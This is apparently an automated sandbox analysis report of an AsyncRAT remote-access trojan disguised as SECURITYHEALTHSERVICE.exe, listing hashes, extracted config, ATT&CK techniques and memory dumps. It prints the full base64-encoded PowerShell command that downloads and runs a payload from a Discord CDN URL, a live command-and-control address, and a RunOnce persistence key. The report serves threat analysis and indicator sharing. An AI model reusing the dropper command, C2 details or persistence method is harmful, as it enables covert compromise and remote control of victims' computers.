asyncrat | 2e618a6cf8584a8a3aea443c98360a32c4eb678a8a457df58ae7f8a66ebe23ee

Analysis

max time kernel
22s
max time network
29s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
04-11-2022 21:17

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General

Target

SECURITYHEALTHSERVICE.exe
Size

6KB
MD5

d7b61ed02a876336d7f0ef3f2fae3827
SHA1

9aaf625ec1e7d7aa29a7d90ce4cafdfc35723fac
SHA256

2e618a6cf8584a8a3aea443c98360a32c4eb678a8a457df58ae7f8a66ebe23ee
SHA512

817b046a97eb5435d64a67487250bd21e97b0b60af5c3fced1f2b05e3f88967deddfe829e21f349a730e90cb40d3c1f780e7e961760d27c8a79fa2412a2ab576
SSDEEP

192:PZo9c33aUqN0kbjwNNtUqTGkb/pm1v5ldj:xo9v/ONt/T/Ipj

Score

10^/10

asyncrat windowsdefendersmarttscreen persistence rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

WindowsDefenderSmarttScreen

217.64.31.3:9742

Mutex

WindowsDefenderSmarttScreen

Attributes

delay
1
install
false
install_file
WindowsDefenderSmarttScreen.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/4852-196-0x0000000002AD0000-0x0000000002AE2000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 4760 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

ab541f2.exe

pid process

4852 ab541f2.exe

flow	pid	process
2	4760	powershell.exe

pid	process
4852	ab541f2.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

ab541f2.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	ab541f2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe"	ab541f2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4760 powershell.exe
4760 powershell.exe
4760 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4760 powershell.exe

pid	process
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4760	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

SECURITYHEALTHSERVICE.exepowershell.exe

description	pid	process	target process
PID 3836 wrote to memory of 4760	3836	SECURITYHEALTHSERVICE.exe	powershell.exe
PID 3836 wrote to memory of 4760	3836	SECURITYHEALTHSERVICE.exe	powershell.exe
PID 4760 wrote to memory of 4852	4760	powershell.exe	ab541f2.exe
PID 4760 wrote to memory of 4852	4760	powershell.exe	ab541f2.exe
PID 4760 wrote to memory of 4852	4760	powershell.exe	ab541f2.exe

C:\Users\Admin\AppData\Local\Temp\SECURITYHEALTHSERVICE.exe
"C:\Users\Admin\AppData\Local\Temp\SECURITYHEALTHSERVICE.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADIANwAxADkANQAyADkAMgA4ADgAMwAzADcAMAAwADMANAAvADEAMAAzADcANwAxADcANAA3ADMAMQA3ADQAMgAyADkAMAAzADIALwBXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBTAG0AYQByAHQAdABTAGMAcgBlAGUAbgAuAGUAeABlACcALAAgADwAIwBtAHUAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGEAaAByACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGoAawBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGEAYgA1ADQAMQBmADIALgBlAHgAZQAnACkAKQA8ACMAcgBiAHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBkAGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAaQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGEAYgA1ADQAMQBmADIALgBlAHgAZQAnACkAPAAjAHEAZwBjACMAPgA="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4760

C:\Users\Admin\AppData\Roaming\ab541f2.exe
"C:\Users\Admin\AppData\Roaming\ab541f2.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4852

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\ab541f2.exe
Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
C:\Users\Admin\AppData\Roaming\ab541f2.exe
Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
memory/3836-118-0x0000000000E00000-0x0000000000E08000-memory.dmp

Filesize
32KB

Download
memory/4760-119-0x0000000000000000-mapping.dmp

Download
memory/4760-124-0x000002871B280000-0x000002871B2A2000-memory.dmp

Filesize
136KB

Download
memory/4760-127-0x0000028733990000-0x0000028733A06000-memory.dmp

Filesize
472KB

Download
memory/4852-142-0x0000000000000000-mapping.dmp

Download
memory/4852-144-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-146-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-147-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-148-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-149-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-150-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-151-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-152-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-154-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-155-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-156-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-157-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-158-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-159-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-160-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-161-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-162-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-163-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-164-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-165-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-166-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-167-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-168-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-169-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-170-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-171-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-172-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-173-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-174-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-175-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-176-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-177-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-178-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-179-0x00000000003A0000-0x00000000007CE000-memory.dmp

Filesize
4.2MB

Download
memory/4852-180-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-181-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-182-0x0000000005040000-0x00000000050DC000-memory.dmp

Filesize
624KB

Download
memory/4852-183-0x00000000055E0000-0x0000000005ADE000-memory.dmp

Filesize
5.0MB

Download
memory/4852-184-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-185-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-186-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-187-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-188-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-189-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-190-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-191-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-192-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-193-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-194-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-195-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-196-0x0000000002AD0000-0x0000000002AE2000-memory.dmp

Filesize
72KB

Download
memory/4852-197-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-198-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-199-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-200-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-201-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-202-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-203-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-204-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download
memory/4852-205-0x0000000077A40000-0x0000000077BCE000-memory.dmp

Filesize
1.6MB

Download